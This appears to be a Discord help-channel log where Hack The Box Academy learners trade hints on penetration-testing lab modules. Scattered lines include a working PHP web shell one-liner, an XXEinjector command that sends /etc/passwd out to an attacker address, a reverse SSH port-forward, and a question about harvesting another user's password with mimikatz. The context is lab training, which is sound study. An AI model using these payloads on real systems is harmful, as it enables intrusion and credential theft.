modules

[analog dock]

Is there no options for rport?

Usually you set the ip in rhost and port in rport

[lusty thicket]

maybe try SET RHOSTS xx.xx.xx.xx

without the port

[fathom pendant]

You need to set the port separately in msfconsole

[heady wing]

ah, yeah, I just tried it after seeing this and rport worked. thanks yall

[analog dock]

Outplayed the community contributor

[analog dock]

You’re welcome 👍🏼

[fathom pendant]

I have a life so I'm just chiming in when I can

[analog dock]

You don’t, otherwise you wouldn’t have that role

https://tenor.com/view/glasses-sunglasses-cool-tom-cruise-smile-gif-17437889

[fathom pendant]

Work smarter not harder my guy

[heady wing]

15.56% Completed on the module so far.

[torpid haven]

Im doing the API attacks module and I'm on the question where you upload a php backdoor and then are meant to find the hostname of the target. I tried to use the script provided by the author to create a web shell. It seems to work but it prints an empty line every time I write a command.

Can't even find a writeup for this module so I really do need your help.

Yeah so I shouldn't've followed the module. Tried this much simpler web shell: <?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?> and it worked out. Don't see why they had to overcomplicate things so much.

[novel shoal]

need help on module Attacking Enterprise Networks: Web Enumeration & Exploitation
Question 1: Use the IDOR vulnerability to find a flag. Submit the flag value as your answer (flag format: HTB{}).

i tried to login as admin but idk what should i do, i tried to brute force but it fail any hint plz

https://academy.hackthebox.com/module/163/section/1544

[narrow solar]

hey friends, any help with Linux Local Privilege Escalation - Skills Assessment flag 4, i am at user ||barry ||and cant find any pass for ||tomcat||, i searched all the logs, hiddin files and conf but found nothing, any help please

[vital adder]

first if the shell work what's the issue also writeup and walkthrough is only allowed for tier 0 module

[torpid haven]

The web shell that was in the module didn't work. After messing around with my own shells I found something that worked.

[vital adder]

i don't have the username for that flag in my note for some reason but if you got a shell from tomcat then the flag should be in ||/var|| and a quick find or grep should get you the flag

[narrow solar]

i know where is the flag, i got the username ||tomcatadm ||but no password

[vital adder]

oh that part, hint bottom of one of the page

[keen compass]

Hi, anyone for this question please?

[candid lily]

any good machines to practice LFI?

[narrow solar]

omg finally, thank you so much

[wintry basin]

If you are still having trouble try using remote desktop connection

[novel shoal]

it took my 2days for manual brute force 5times and the machine block my ip and i got nothing... LOL

[pulsar willow]

Well, the system has a contour-to devouir the sentenced a correct way

[novel shoal]

[rustic sage]

any hint how to escalate priv in : Windows Privilege Escalation Skills Assessment - Part I ?
https://academy.hackthebox.com/module/67/section/637

[narrow solar]

het friends, i am at Linux Local Privilege Escalation - Skills Assessment trying to get full interactive shell but i cant click "enter" after the "stty row echo" command, anyone know a way to fix that?

[dull zinc]

i think this may be a zsh thing, try doing both of these commands on one line instead; stty raw -echo;fg

[narrow solar]

thank you so much, it worked 😊

[loud sparrow]

it works now

[analog dock]

You managed to do it from your local vm as well?

[quick crane]

@novel shoal now are you need help?

[full dragon]

I'm on the Attacking Common Applications module attacking ColdFusion section. I've gained a reverse shell but struggling to find what user ColdFusion is running as. I've tried whoami and checked C:\Users but none of these are the correct answer. I've then tried tasklist and netstat to try and find what's running and under what user but still can't see anything. Also gone through ColdFusion documentation and config files. Has anyone completed this section that can share how they found the answer? (Feel like I'm missing something obvious)

[civic terrace]

Would appreciate an assist on File Uploads - Skill Assessment. Read the source code, found the file upload path and rename, verified server response for date/time but still getting a 404 when verifying with a legitimate .jpg file

nevermind, I got it figured out

[haughty pond]

Hello, can I dm you pls ? Machine is buggy af.. can't do anything ^^

[distant stream]

ok

[fiery berry]

make sure there are no spaces when submitting the answer

[zinc marsh]

I need a hint with kerberos attacks - skills assessment

[gloomy bramble]

On the shells & payloads The Live Engagment question #1, will netcat work for a listener or do I have to use metasploit? Neither have been working at this piont. I am using the rdp ifconfig ip 10.#.#.# for LHOST and the 172.#.#.# for RHOSTS.

[fiery berry]

it's up to you both of them are going to work. I personally used nc

[gloomy bramble]

thanks. just need a confirmation. I'll keep at it. I'm just not getting the right piece of the puzzle to fit yet.

[fading oracle]

hi guys i encountered a strange error while trying to rdp into a target machine

i am at the Pass the Ticket (PtT) from Windows section in the Password Attacks module

RDP to 10.129.230.199 with user "Administrator" and password "AnotherC0mpl3xP4$$"

thats what i am trying to do

but i get this error

https://i.imgur.com/aHW7cQq.png

can anyone help pls?

[torpid zodiac]

hello can I get points in htb without paying for vip?

[analog dock]

Yes, you can do the active machines and challenges

[torpid zodiac]

ok thank you.

[safe ridge]

Hi guys, can anyone help me with my CPTS module, im stuck i dont know what to do

i verified me user

[fiery berry]

sure someone is going to help, but please write which module you are having problem with

[safe ridge]

Exploiting Web Vulnerabilities in Thick-Client Applications

[rustic sage]

can somebody help , Windows Privilege Escalation Skills Assessment - Part I , 2 question (Find the password for the ldapadmin account somewhere on the system.) , Im on system, how to escalate privilages any tips ?

[umbral fulcrum]

hey guys I'm in the "Attacking Common Services - Hard" in the last Q, (find Administrator Desktop)
but I don't get it ...
I found ||testadmin|| but I'm not sure what 2 do next,
can some 1 please help me...

[fiery berry]

this should help:
#modules message

[safe ridge]

sure i can help

#modules Exploiting Web Vulnerabilities in Thick-Client Applications

[zinc marsh]

I need help with the last question of the skills assessment in kerberos attacks

[solar arch]

next hint would be ||linked remote database||

[median gale]

Given the capture file at /tmp/capture.pcap, what tcpdump command will enable you to read from the capture and show the output contents in Hex and ASCII? (Please use best practices when using switches) === sudo tcpdump -r /tmp/capture.pcap -X . What is wrong with this ?

[sly dome]

-Xr

iirc

you didnt use best practices

there are several ways to achieve what the question states but only one using “best practices”

[keen knoll]

Hi! Did you finish this module? Have same trouble with this question, any hints please? 🙂

[median gale]

Thank you very much

[hoary geyser]

hello everyone

[ivory sandal]

Hey yall, im stuck on the first question of the Windows Event Logs & Finding Evil module. I found the log and filtered for the logon id: 0x3e7 but I am completely lost. Im not sure if I am supposed to narrow down the search more and what I would filter for, can anyone push me in the right direction?

[analog dock]

What section

[ivory sandal]

First section, first question

[analog dock]

Have you filtered for event 4624 and went to the time mentioned?

Idk why you’re using the xml query to filter for logon id 0x3e7

[ivory sandal]

Yeah I found the log, but Im not sure what to do afterwards

[quasi wave]

Hi I am on this nmap module doing the intermediate nmap IPS/IDS evasion section. I am supposed to get target's dns server version. I am able to get DNS port 53 to show as open but when I google it using built in scripts for dns server version is not working.

for other people it works but for this challenge it doesn't

I have tried playing around with nmap controls as well

can someone help me out?

[analog dock]

Ah yes I remember. Don’t filter for 4624, filter for 4907. Like the section says “Delving into the log details progressively reveals a narrative. For instance, the analysis begins with Event ID 4907, which signifies an audit policy change.”

[quasi wave]

└──╼ [★]$ sudo nmap -p53  10.129.85.38 --script=dns-recursion
Starting Nmap 7.93 ( https://nmap.org ) at 2023-09-24 23:40 BST
Nmap scan report for 10.129.85.38
Host is up (0.0035s latency).

PORT   STATE    SERVICE
53/tcp filtered domain

Nmap done: 1 IP address (1 host up) scanned in 0.46 seconds
┌─[us-academy-1]─[10.10.15.105]─[htb-ac-605555@htb-eh0iaboljx]─[~]
└──╼ [★]$ sudo nmap -p53  10.129.85.38 --script=dns-service-discovery
Starting Nmap 7.93 ( https://nmap.org ) at 2023-09-24 23:41 BST
Nmap scan report for 10.129.85.38
Host is up (0.0035s latency).

PORT   STATE    SERVICE
53/tcp filtered domain

Nmap done: 1 IP address (1 host up) scanned in 0.46 seconds

can someone help me out? I have done a bunch of scans I also have tried -sS, -A, -V, etc

[ivory sandal]

I got it, thank you so much

[quasi wave]

not doing anything to get DNS server version

[analog dock]

You’re welcome

[civic terrace]

Don't forget UDP scanning

[rough notch]

is there any discount codes for VIP+ before i buy it?

if anyone knows

[novel matrix]

Yeah #welcome

and make sure to read rules.

[rough notch]

did not know about verification and that just opened up alot more discord channels lol

ive been in here for awhile just never verified oop

ty pwning

[wheat garden]

yes there is they gave discount codes as prizes for the hackers clash ctf competition

[wheat garden]

If you want you can have mine its actually useless for me because you can only use it when buying or renweing your subsription and mine wont be up for renewal well past the expiration date for the discount code

dm me if you want it

[opal rover]

why does the ftp> get flag.txt
come back permission denied?

[final maple]

Anyone here who has completed the DACL I Skills Assessment and can help me with Question 3?

[wheat garden]

screw it gonna release publicly first one uses it get it discount codes for htb subscription and the gift shop

[ruby smelt]

Iwant to ask about if I start a module when I'm using student subscription

and the subscription ends

[opal rover]

darn already gotten

[ruby smelt]

I still have the possibility to continue on this modules ?

[wheat garden]

dang that was quick

[opal rover]

said invalid for me

[wheat garden]

sure you entered it correctly? also its only valid for yearly subscriptions and not the monthly

[opal rover]

OHHHHHHHHHH

[ruby smelt]

can someone tell me if i start a module i will have the ability to go in forever

[wheat garden]

yes once you have a module its yours forever

[ruby smelt]

because I have student subscription that give the ability to use tier 0 1 2

so I have just to start them and after the end of the subscription I will still ave them

[civic terrace]

I've read you have to complete it or buy it with cubes to have it forever. So if you're on student and the module is at 99% and the subscription ends, you'll have to unlock it again either with sub or cubes

[opal rover]

@wheat garden do you know why this is happening?

[wheat garden]

might not have permission to access the directory or file

if you need more detailed help direct message me and explain to me what your doing / working on

[slender shoal]

If you're on a student sub all you have to do is complete it

Like 8bit said

[carmine hill]

Why there is no logo for some of the new badges?

[quasi wave]

I just tried that and it didn't work

I'm trying to get the version of DNS so maybe there's something other than nmap involved?

[sharp grail]

If you are still stuck pet me know

[quasi wave]

nevermind I found the flag

[lean condor]

i'am uploading to the web root folder C:/xampp/htdoc/webshell.php, but when i browse for http://x.x.x.x/webshell.php server show 404. thanks for u help 🙂 maybe I'am uploading the wrong php code?

[honest ridge]

na i got it, i forgot to poke it to activate/force change. cheers tho

[carmine hill]

Just completed the Modern Web Exploitation Techniques, if someone needs help, just dm me

[fathom pendant]

Try doing the webshell upload command twice and see what the output is

[lean condor]

@fathom pendant The ouput at the second time says " File 'C:xamppdocswebshell.php' already existe" . is the server renamed My upload?

[final maple]

Check the messages that keep showing up in responder and read them closely.

[olive lotus]

is there a ticketing system, can't seem to verify

[fathom pendant]

Switch backslash directions

[iron plaza]

guys i dont see the bubble for the support team in the academy site... need to get hold of them as everyday I have to attempt several times trying to rdp before I go through by luck

[slender shoal]

adblock, or click the ? mark.

[iron plaza]

tried without adblock and its still the same no help bubble and the help center just shows me where the bubble is. never mind it just popped now

[elfin cedar]

does anyone remember which password list they used for the Attacking Common Services - Medium Lab?|| I've tried pws.list from the module resources, password.list from an earlier section, and rockyou.txt|| ||all on the uncommon port.||

[coarse void]

what are you trying to crack

[elfin cedar]

ftp

[coarse void]

consider password mutations with custom.rule or try another service

[elfin cedar]

I forgot about that ty

[coarse void]

np

[elfin cedar]

im giving it a whirl

😭

no go

[coarse void]

try another service

[fiery berry]

did you already get something from the FTP server? Feels like you are trying to brute-force the services without giving a proper enumeration first, however I may be wrong on this (but since you are asking for wordlists to use...)

[elfin cedar]

no I didn't get anything so I am bruteforcing with a user and pass list. I tried smtp-enum-user on the other ports but nothing

[fiery berry]

Then you need to step back and re-enumerate everything

[elfin cedar]

I didnt see any username anywhere

[coarse void]

true

[elfin cedar]

alright

[coarse void]

try to see if there are other ports open

[elfin cedar]

yeah there are 5 more open ports

[coarse void]

I usually try with those who might not need credentials first

[coarse void]

why are you still with ftp🤣

[elfin cedar]

Is it on my end that I get this error? I reset the target a few times, waited at least 5 minutes and scanned, both of the FTP ports show open but I get this error. I tried anonymous

lol

[coarse void]

maybe anoymous access isn't allowed on this ftp server

[elfin cedar]

but they dont even give me the option to login?

I tried a random username

[coarse void]

what command did you use to login

[elfin cedar]

ftp random@10.129.210.191:2121

[coarse void]

ftp [[USER@]HOST [PORT]]

[sly dome]

that lab is weird just restart and wait 5-10 minutes

[elfin cedar]

😭 i will keep doing it

[sly dome]

all i can tell is that its not a common port

u have to discover open ports then sCV on them

[elfin cedar]

I see the uncommon one and tried, I will continue to reset and wait

[coarse void]

oh mb

i thought u were on password attacks module

[coarse void]

reset the target until you get 6 open ports

[elfin cedar]

I did, they are both open and then I try and I get that error unfortunately

[coarse void]

nah

[coarse void]

still the wrong port

[sly dome]

yea 2121 is rabbit hole xD

[elfin cedar]

I have the ||30021||

[sly dome]

there u go

[elfin cedar]

but I get that error

[sly dome]

wat

[elfin cedar]

I am waiting 10 minutes again

[coarse void]

try again with ftp <ip> <port>

[elfin cedar]

I did, it must be the machine

or me

[coarse void]

can you run it and paste the screenshot?

[elfin cedar]

yeah

[sly dome]

try passive mode

with -p

[elfin cedar]

I am still waiting but I did this a few minutes ago before the reset

[sly dome]

why you using wrong command

[coarse void]

without username

[sly dome]

learn the syntax

[coarse void]

use this

[sly dome]

without colon

ftp IP PORT

as easy as that

[elfin cedar]

you dont need a colon?? omg

[sly dome]

no

you need to learn how to google basic stuff

[elfin cedar]

I feel I've done it with a colon before

[sly dome]

in SSH

or HTTP

[coarse void]

lol

[sly dome]

🤣

[coarse void]

[sly dome]

also dont u see the response

:21 :ftp :?

thats telling you it’s ignoring the part where you tell “30021”

which means wrong syntax and your brain has to immediately think “whats the proper syntax then?”

[fiery berry]

Everything including the command is well explained in the module and all of the above was a bit of a spoiler

[sly dome]

its w.e. our guy was losing his mind

we saved 1 human

[elfin cedar]

I got the flag, I am sorry about all that. Thank you for all for helping

I should probably sleep

[coarse void]

just have to pay attention to the output and do some research on the command syntax

[elfin cedar]

will do

[coarse void]

👍

[sly dome]

no reasons to be sorry

all of us have been in your shoes

work smarter not harder, resting is something smart to do

[umbral fulcrum]

yes, that how I found ||"testadmin"||, but I don't uderstand how 2 continue with that...

[coarse void]

command execution

[umbral fulcrum]

U mean ||xp_cmdshell||?
cause I don't have permissions ...

[coarse void]

which user are you logged in as rn

[umbral fulcrum]

john

[coarse void]

have you checked the permissions for john?

[umbral fulcrum]

it's 0

[coarse void]

thats on the original server

have you checked his permissions on the linked server ？

[umbral fulcrum]

trying 2 figure that out

[umbral fulcrum]

can I DM u?

[coarse void]

sure

[lusty thicket]

#careers-and-certs

[loud sapphire]

Thanks.... i didnt notice this thread. i will remove my question and move it there.

[oak sapphire]

Hi

Anyone doing the Linux Training module?

[lusty thicket]

you can ask your questions here

[oak sapphire]

Thanks

I'm trying to go past a section in the training where I have to list all the services listening on all interfaces on the OS, not just ipv4 and eth.

Haven't been able to get the right number.

I want to understand how interfaces work though, and how services come to listen on one or more interfaces

[lusty thicket]

[oak sapphire]

Got any pointers

?

[rustic sage]

this one time i zero dayed a windows app and i submitted a bug report and i was drunk and windows said it wasnt enough and i just didnt give a care enough to submit a proper bug report

oh wait wrong chat sorry

[analog dock]

https://tenor.com/view/doubt-press-x-la-noire-meme-x-button-gif-19259237

[rustic sage]

id doubt me too being a drunk idiot

help me with module 1 tho

[novel lantern]

Could someone assist me with the Broken Authentication skills assessment? I managed to discover a valid username and password, decoded the cookie, and created an admin one. However, I'm consistently encountering a message stating something like 'user cannot change role.' I really need to complete this assessment, HELP!

[rustic sage]

@fair hornetplease give two channels. one for general noobs, like me, who refuse to make an actual HTB account. and another for suggestions, where this would be a more appropriate suggestion and not require a ping.

thank.

[rustic sage]

so stop trying to change your role

[lusty thicket]

that could work

[novel lantern]

idk if i got it. I need change my role to gain admin acess and get the flag.

[rustic sage]

you might think that but you might be thinking wrong. i also dont know anything of what we are talking about though

[novel lantern]

??????? why are you saying anything then? LOL You did not ended the Broken Authentication module?

[rustic sage]

you dont need to change your role. you need to change the role of the query being made against the target

[novel lantern]

AH

[rustic sage]

no. i dont play games like htb

LOL

😐

[amber garden]

did you ever got that one ? seems i'm stuck in the same place 😐

[analog dock]

Why are you here then?

[rustic sage]

cus its not a game noob

[oak sapphire]

Help guys

[rustic sage]

its real life

[autumn pilot]

behave @rustic sage

and read the #rules

[analog dock]

Look into the “book” box from HTB, ippsec and xct have vids on it. Logrotten is used there

[lusty thicket]

you have to be more specific

[rustic sage]

for the love of god give us a noob channel why did i default into modules

[lusty thicket]

you can ask your questions here

[rustic sage]

sorry

[analog dock]

Just make an account if you want access to all of the server.

[rustic sage]

i need to change my pfp to a chili pepper

[rustic sage]

no. please. dont make me.

its a hard please ill beg for it.

[oak sapphire]

How can I list all the services listening on network interfaces on my linux distro. Network interfaces including ipv4 and eth

[lusty thicket]

check out the man page of the command ss

[oak sapphire]

thanks

[analog dock]

Or netstat I guess?

[lusty thicket]

that could work

[oak sapphire]

Thanks.

I do ss -l which lists a bunch of sockets on all protocols, but when i take the count using ss -l | wc -wcl the line count is 200 total and the academy module rejects it

AITA?

[atomic bramble]

hi beautiful folks

[oak sapphire]

Welcome G

[atomic bramble]

hi beautiful folks,
i am extremely new into cyber security and IT i am doing this module Introduction to network analysis and i am stuck into few questions ( yes i did try many times ) kindly i would highly appreciate if u guys could help me please. thank you in advance.
Q1) If I wish to start a capture without hostname resolution, verbose output, showing contents in ASCII and hex, and grab the first 100 packets; what are the switches used? please answer in the order the switches are asked for in the question.

Q2)Given the capture file at /tmp/capture.pcap, what tcpdump command will enable you to read from the capture and show the output contents in Hex and ASCII? (Please use best practices when using switches)

Q3)What TCPDump switch will allow us to pipe the contents of a pcap file out to another function such as ‘grep’?

Q4)How do you start a capture with TCPDump to capture on eth0?

much appreciated 🙂

[analog dock]

@oak sapphire do you need to do it on your own host or on the target host?

[atomic bramble]

that's for TCPDUMP

[analog dock]

What have you tried? As it seems all of those questions can be answered by checking the manual of tcpdump

[oak sapphire]

On the target host. I'm SSH'd in using powershell

[analog dock]

What module is this?

[atomic bramble]

i did but when i put the answer it keep saying wrong answer

[oak sapphire]

Lol get ChatGPT or something. Try there first

[lusty thicket]

what have you tried

[oak sapphire]

Linux fundamentals p12

[atomic bramble]

for ist q i put--> -nnvXc 100

[analog dock]

Linux fundamentals and you need to ssh to a target with power shell?

[atomic bramble]

for 2nd q i put -X

[oak sapphire]

You have to have a VPN client with their profile too or you wont have access to their networks.

right now i'm obsessed with finding answers.

[lusty thicket]

try ||-n -vXc 100||

[atomic bramble]

thank u but again got incorrect answer

[lusty thicket]

try ||-nvXc 100||

[atomic bramble]

great, got the right answer, thank u Plut0

[analog dock]

You were only 1 letter off lol

[oak sapphire]

i think i'm interpreting the question wrong.

" How many services are listening on the target system on all interfaces? (Not on localhost and IPv4 only)"

How else to interprete @analog dock

[lusty thicket]

¯_(ツ)_/¯

[analog dock]

Did the section speak about nmap?

[atomic bramble]

thank u guys, pluto do u mind helping me with other questions plz ( only if u have time, thank u )

[analog dock]

And otherwise you can ssh to it and run netstat -tulpen

[oak sapphire]

no we're not in nmap territory yet.

[analog dock]

Should show the listening services

[lusty thicket]

sure

[oak sapphire]

I'll try again, but i already tried once before. count was off.

[atomic bramble]

Q2)Given the capture file at /tmp/capture.pcap, what tcpdump command will enable you to read from the capture and show the output contents in Hex and ASCII? (Please use best practices when using switches)

Q3)What TCPDump switch will allow us to pipe the contents of a pcap file out to another function such as ‘grep’?

Q4)How do you start a capture with TCPDump to capture on eth0?

much appreciated 🙂

[analog dock]

Linux fundamentals - network services?

I’ll unlock the module and check

[oak sapphire]

Woah that'd be great

[lusty thicket]

you can use the r and X switch for that

[analog dock]

What section

[lusty thicket]

dont forget best practices

[oak sapphire]

Workflow. P12

[atomic bramble]

i did -rX but came up as wrong answer

[lusty thicket]

Xr

[atomic bramble]

incorrect

[analog dock]

-r?

[atomic bramble]

it would be just to read the file but won't show in ascii n hexa

[lusty thicket]

you can use the ||XX|| switch for both hex and ascii

i think

[atomic bramble]

unfortunately no joy 😦

[lusty thicket]

||-XXr|| ?

[atomic bramble]

incorrect

[analog dock]

@oak sapphire I got the answer

[oak sapphire]

haha no way!

[atomic bramble]

https://academy.hackthebox.com/module/81/section/774

[oak sapphire]

I suspect this has something to do with wc

and not counting properly

[analog dock]

The question asks for the services “listening”, it can NOT be on localhost, so only the 0.0.0.0 addresses, and only the ipv4 addresses, no 127.0.0.1, so only the tcp ones, not tcp6

[oak sapphire]

is this kind of sorting available as options to ss? or netstat?

or using post-cat tools?

[analog dock]

You can find it with netstat -tulpen

[oak sapphire]

I di that and got a bunch of services total 200. which was wrong

[analog dock]

You did it incorrectly

[oak sapphire]

oh okay.

so tell me why the services on local and tcp6 are considered to not be "listening"

[analog dock]

I’m not saying they aren’t listening, it’s what the question states

[lusty thicket]

thats what the question said

[oak sapphire]

ah... please explain.

cos you said "listen", and it shows some services on tcp6 to be in state "listen"

[analog dock]

So?

The question literally states ipv4 only

Tcp6 is ipv6

[oak sapphire]

haha but it said "not on localhost or IPv4 only"

[analog dock]

No

[oak sapphire]

hmm

[analog dock]

That’s not what it says

[real basalt]

hello

[analog dock]

It says not on localhost AND ipv4 only

[oak sapphire]

lol i see "and" on my end.

[analog dock]

Because it is and

It’s not or

[real basalt]

This is my first time playing discord. Can someone give me some Pointers?

[oak sapphire]

oh, so, I'm supposed to list
condition 1: not localhost.
condition 2: ipv4 only?

[analog dock]

And condition 3, it must be listening

[oak sapphire]

yeah, keep WASD handy. and don't use cheats till like level 99

[oak sapphire]

ah great'

Need to work on my comprehension kills

[analog dock]

Well discord is not really a game, how did you find this server, and what are you looking for?

@oak sapphire if you grep listen, grep -v tcp6 and grep -v 127.*, you’ll find the answer

[real basalt]

I'm studying at HTB Academy and want to ask some questions about file upload vulnerabilities

[lusty thicket]

ask

[real basalt]

My English is not good, so I may not express it accurately. I used a translation software

[lusty thicket]

okay

[real basalt]

https://academy.hackthebox.com/module/136/section/1288
I'm doing this exercise. My question is that why is there no file path in the upload file request

Sorry, I can't send a screenshot

[analog dock]

To send a screenshot you have to make an acc on the main platform, and verify in #welcome

[real basalt]

thks

[quick crane]

in this module https://academy.hackthebox.com/module/162/section/1572,I finish all,but for the last question I can't find the user svc_reporting in which group

[analog dock]

I recommend sending the module and section name. Not the link

[quick crane]

OK，in this module Documentation & Reporting Practice Lab

[oak sapphire]

@analog dock I do grep -v -e "ipv6" -e "127." | wc -wcl and theres a couple udp services included, but they're not "listen" state

[analog dock]

Did you grep “listen” ?

[oak sapphire]

Thanks.
This worked.

netstat -tulpen | grep -v -e "tcp6" -e "127." | grep "LISTEN" | wc -l

[analog dock]

👍🏼

[rustic sage]

logrotten question , how to rotate the access log to get shell, any tip? I have run ./logrotten -p payloadfile access.log

[novel lantern]

Hey, I am in the Blind Data Exfiltration module. I am using the following command "ruby XXEinjector.rb --host=10.10.14.36 --httpport=8000 --file=xxe.req --path=/etc/passwd --oob=http --phpfilter" and getting a "FTP/HTTP did not get response. XML parser cannot parse provided file or the application is not responsive. Wait or Next? W/n" as response. What should I do?

[analog dock]

Id look at the HTB box “book”, ippsec has a walkthrough online which has the logrotten exploit

[quick crane]

so who can help me this question

the last question

[fiery berry]

https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc771865(v=ws.11)

[quick crane]

ok,thanks,let me see it

[quick crane]

thanks my brother.

[fiery berry]

No problem, however the command has been used multiple times across the learning path material so looking back at some modules or the cheat-sheets it is definitely a good idea

[quick crane]

yeah you're right

[split gull]

hi

[novel lantern]

Can someone help, please? This is the only one lefting to complete the entiry module.

[oak sapphire]

curl on my pwnbox is not working

i can ping google.com, but it times out in the adressbar

[vital adder]

free pwnbox doesn't have full access to the internet

[vital adder]

which module are you on? i assumed that's the section name

[novel lantern]

Yes, sorry. It is in Web Attacks

[heady tusk]

Hey guys, has anyone run into this before? a quick google search indicates it's not a common error but maybe someone here knows more 🙂

[vital adder]

that look familiar also next time pls add which section and module are you on but if you download that tool from the creator github then there is a code bug some where in that original file and there should be a copy of that tool (that work) under C:\tools or something

[misty current]

There's a fix for this in the tools GitHub Issues listing.

[heady tusk]

thank you very much guys 🙂 I'll check that out

[lapis pelican]

I would like some help. I cannot understand what the author is trying to explain.
https://academy.hackthebox.com/module/112/section/1067

[lusty thicket]

what part do you not understand?

[lapis pelican]

I did not understand the example they used.

[lusty thicket]

it provides information about the smb server, hosts connected, username and groups

from an adminstrative perspective of course

[lapis pelican]

smbtatus has to be used from local machine while being connected to samba server at the same time?

[lusty thicket]

smbstatus is used on machines where the server is up and running

[lapis pelican]

Oh, so that means it'll run on target machine.

[lusty thicket]

yes

[lapis pelican]

Gotcha. Thank you!

[trail cave]

Hi everyone!

I have a question regarding the module "Broken Authentication" - "Brute Forcing Passwords":

After 5 attempts it I get a timelimit, so I can't brute force it with ffuf e.g.

It doesn't teach you in the module what to do in this situation

Does this exercise really want me to wait after every 5 attempts? I can't imagine that's the goal of it, or?

[fresh jay]

you can try ways of getting round it from the weak brute-force protections section

i havent done it but id assume you could spoof ip and change it or try a different username every x attempts

[raven locust]

Perform the ExtraSids attack to compromise the parent domain from the Linux attack host. After compromising the parent domain obtain the NTLM hash for the Domain Admin user bross. Submit this hash as your answer.

---
I’ve managed to dump the NTLM hash from the bross user, but according to HTB it is incorrect. Gotten it w/ secretsdump, can anyone check if I’m missing something obvious?

feel free to DM

[zinc marsh]

[fiery berry]

can you paste the first/last two chars of the NTLM hash?

[raven locust]

first 3 chars are “aad…”, last 3 are “…4c7”

[fiery berry]

it is correct however you need only the second part separated by the column ":" the NT part

[raven locust]

oh my god

alright thanks, i was going crazy

[analog dock]

We did it 😄

[zinc marsh]

now I am gonna eat lol

almost 20 hours doing that machine lol

[analog dock]

😂

[zinc marsh]

and I could do it now in 20 minutes lol

[vital adder]

just an average day of doing Kerberos stuff

[zinc marsh]

now I can do the weekly machine lol

[gloomy bramble]

Question #2 on Shells & Payloads Live Engagement was a tricky one. I finally figured it out though. LHOST is probably not what you think it is. Wiping forehead it only took me 2 days. Trial & Error.. On to next question.

[misty current]

Kerberos Attacks: Constrained Delegation Overview & Attacking from Windows
Don't they mean DMZ01 instead of SQL01?

[orchid pine]

heloo guys i created a revrse shell to do a reverse port forward ssh -R internalpivotip:port:0.0.0.0:4444 ubuntu@targetip but i cannot connect back to the reverse shell any help

[floral whale]

hi

[misty current]

So, you're getting a hit back to your listener when you execute the payload but you're not getting the shell right?

Can you show me your metasploit handler options.

[shrewd hazel]

can someone explain a bit more to me about fetch post request? a bit confused on this one. im more concrete with post and put get curl requests, but this fetch one im a bit lost on

[orchid pine]

excatly

[misty current]

Double check the payload on your listener. Make sure it's the same payload for the exploit you created.

[orchid pine]

thx

XDDDDD

[vital adder]

this is a common issue for this section

[orchid pine]

im stupid need to waer glasses

[vital adder]

the meterpter shell is way too big for that amounts of hop (include your vpn) try with a lighter shell like a nc shell or a metasploit tcp shell

[amber garden]

thanks 🙂 got it now

[rotund aurora]

any staff around to help with a qq on 'Attacking Web Applications with Ffuf'

One of the pages you will identify should say 'You don't have access!'. What is the full page URL?

[tight mesa]

@lean condor could you solve your issue with the lab?

[rotund aurora]

I curl the page says 'You don't have access!' cant figure out what im doing wrong with entering the URL

[slow bough]

is the exam free after i end the all the pentester modules?

[rotund aurora]

you need a voucher I think

[tight mesa]

hahahaha nice question....

yup, need a voucher

[slow bough]

just asking

[tight mesa]

but it's pretty affordable

[slow bough]

why]

?

[tight mesa]

why, what?

[slow bough]

nt

[rotund aurora]

'<div class='center'><p>You don't have access!</p></div>' lol but i put the url with and without port

with domain and with ip

[tight mesa]

complete all the module is a prerequisite to buy the voucher

[rotund aurora]

REDACTED.academy.htb:[port]/REDACTED

[tranquil axle]

http://[REDACTED].academy.htb:PORT/[REDACTED]/[REDACTED].[REDACTED] shows as my old answer. so it actually says PORT instead of a number

[rotund aurora]

and that was it

HAHAHA

wish it would have been obvious hahah feel like it should have been and I just missed it

[analog dock]

Good stuff 💪🏼

[lean condor]

no, i get stuck after uploading the webshell, server send 404. i'am using a one liner btw.

[tender lake]

I'm stuck on Exploiting Web Vulnerabilities in Thick-Client Applications after you change the currentFolder

ClientGuiTest.this.currentFolder = "configs"; 
to
ClientGuiTest.this.currentFolder = "..";

When I try to recompile the JAR I get 31 errors like this one

fatty-client.jar.src\htb\fatty\client\gui\ClientGuiTest.java:397: error: cannot find symbol
/* 397 */             } catch (MessageBuildException|htb.fatty.shared.message.MessageParseException e1) {
                               ^

I found the walkthrough for HTB Fatty by 0xdf (https://0xdf.gitlab.io/2020/08/08/jar-files-analysis-and-modifications.html#modifying-compiled-classes), and I have tried to follow along with that and the section but I haven't been able to make any progress with these compiling errors. Any help would be appreciated.

[devout torrent]

@tender lake there is a guy that did a nice writeup on the academy forum on the module

One of the comments there

[tender lake]

Do have the thread name on hand?

[devout torrent]

Sorry no but just write the name thick cloent applications and there is a large wall of text blurred out

[tender lake]

alls good, I'll find it.

Found the comment. Thanks @devout torrent

[split parcel]

hi guys, 1 qn.

if there's a user beside me logged into the same host. (hes using console), how can i grab his plaintext password? using mimikatz?

[thorn urchin]

which module is this

[supple patio]

can you please provide more information?

gj

[simple kindle]

Hi, I'm doing the login brute forcing module assessment. How long is reasonable to wait for Hydra before giving up? It says it's going to take 30 hours to go through the custom wordlist I made.

[main spear]

Hello guys, i'm on the module footprinting hard lab, im in the mailbox but i dont know the command to see the entire mail, like i can only see subject and header but not the content, i searched some ressources on the net but i cant found anything... Do you guys have some ressources ? ty

[rustic sage]

checkout https://donsutherland.org/crib/imap

[main spear]

Thank you !

[rustic sage]

that module is more about learning patience😅 it's been a while since i've done this module so i don't remember the exact time, but i don't think i ever waited over an hour

[simple kindle]

Ah, making the wordlist simpler sorted it. It turns out when using cupp I had gone overboard in including trivia about a certain fictional character 😆

I guess the lesson is keep it simple and look for low hanging fruit first

[thorn urchin]

why are you the way you are

[polar shuttle]

bro can you explain me what I'm server for

[thorn urchin]

why did you join this server if you didn't know already

[fathom pendant]

#modules message

This is also useful

[analog dock]

https://www.atmail.com/blog/imap-commands/

That’s what I use

[fathom pendant]

I linked that earlier

[analog dock]

Ok

Link was so far back it took too long for me to load

🤷🏼‍♂️

[ashen umbra]

Alright I am having trouble on a question due to not doing it for awhile. I cracked the password for Kira awhile ago. Of course, this is why documentation is so important, but I have forgotten, and I have attempted to crack it again to no avail. Any help?

I am in the protected files section

[rustic sage]

what module, what section

[thorn urchin]

time to go back and redo it

[ashen umbra]

